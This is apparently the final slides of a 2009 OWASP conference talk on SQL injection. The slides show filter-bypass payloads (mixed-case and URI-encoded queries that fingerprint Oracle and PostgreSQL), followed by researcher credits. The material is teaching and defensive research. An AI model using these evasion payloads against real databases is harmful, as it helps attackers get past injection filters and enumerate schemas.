  • 36. 36Front Range OWASP Conference, Denver (USA) March 5, 2009 Bypass by random mixed case payload Example on Oracle 10g: SELECT banner FROM v$version WHERE ROWNUM=1 ↓ SeLEcT BaNneR FroM v$vERsIon WhERe ROwNUm=1
  • 37. 37Front Range OWASP Conference, Denver (USA) March 5, 2009 Bypass by random URI encoded payload Example on PostgreSQL: SELECT schemaname FROM pg_tables ↓ %53E%4c%45%43T%20%73%63h%65%6d%61%6e a%6de%20%46%52O%4d%20%70g%5f%74a%62% 6ce%73
  • 38. 38Front Range OWASP Conference, Denver (USA) March 5, 2009 Credits Chip Andrews, www.sqlsecurity.com Daniele Bellucci, daniele.bellucci.googlepages.com David Campbell, www.owasp.org Kieran Combes Alberto Revelli, sqlninja.sourceforge.net Sumit Siddharth, www.notsosecure.com Alessandro Tanasi, lab.lonerunners.net
  • 39. 39Front Range OWASP Conference, Denver (USA) March 5, 2009 Questions? Thanks for your attention!